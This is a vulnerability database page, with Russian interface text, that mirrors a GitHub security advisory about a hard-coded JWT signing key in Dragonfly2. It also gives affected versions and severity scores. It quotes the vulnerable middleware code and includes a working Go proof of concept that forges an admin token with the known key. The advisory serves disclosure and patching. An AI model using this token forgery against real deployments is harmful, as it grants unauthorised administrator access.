Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-hpc8-7wpm-889w

Опубликовано: 19 сент. 2024
Источник: github
Github: Прошло ревью
CVSS4: 9.3
CVSS3: 9.8

Описание

Dragonfly2 has hard coded cyptographic key

Summary

Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.

Details

Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass

authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{ Realm: "Dragonfly", Key: []byte("Secret Key"), Timeout: 2 * 24 * time.Hour, MaxRefresh: 2 * 24 * time.Hour, IdentityKey: identityKey, IdentityHandler: func(c *gin.Context) any { claims := jwt.ExtractClaims(c) id, ok := claims[identityKey] if !ok { c.JSON(http.StatusUnauthorized, gin.H{ "message": "Unavailable token: require user id", }) c.Abort() return nil } c.Set("id", id) return id })

PoC

Use code below to generate a jwt token

package main import ( "errors" "fmt" "time" "github.com/golang-jwt/jwt/v4" ) func (stc *DragonflyTokenClaims) Valid() error { // Verify expiry. if stc.ExpiresAt <= time.Now().UTC().Unix() { vErr := new(jwt.ValidationError) vErr.Inner = errors.New("Token is expired") vErr.Errors |= jwt.ValidationErrorExpired return vErr } return nil } type DragonflyTokenClaims struct { Id int32 `json:"id,omitempty"` ExpiresAt int64 `json:"exp,omitempty"` Issue int64 `json:"orig_iat,omitempty"` } func main() { signingKey := "Secret Key" token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{ ExpiresAt: time.Now().Add(time.Hour).Unix(), Id: 1, Issue: time.Now().Unix(), }) signedToken, _ := token.SignedString([]byte(signingKey)) fmt.Println(signedToken) }

And send request with JWT above , you can still get data without restriction. image

Impact

An attacker can perform any action as a user with admin privileges.

Пакеты

Наименование

d7y.io/dragonfly/v2

go
Затронутые версииВерсия исправления

>= 2.1.0-alpha.0, < 2.1.0-beta.1

2.1.0-beta.1

Наименование

d7y.io/dragonfly/v2

go
Затронутые версииВерсия исправления

< 2.0.9-rc.2

2.0.9-rc.2

EPSS

Процентиль: 98%
0.66176
Средний

9.3 Critical

CVSS4

9.8 Critical

CVSS3

Дефекты

CWE-321
CWE-798

Связанные уязвимости

CVSS3: 9.8
nvd
больше 1 года назад

Dragonfly is an open source P2P-based file distribution and image acceleration system. It is hosted by the Cloud Native Computing Foundation (CNCF) as an Incubating Level Project. Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass. An attacker can perform any action as a user with admin privileges. This issue has been addressed in release version 2.0.9. All users are advised to upgrade. There are no known workarounds for this vulnerability.

EPSS

Процентиль: 98%
0.66176
Средний

9.3 Critical

CVSS4

9.8 Critical

CVSS3

Дефекты

CWE-321
CWE-798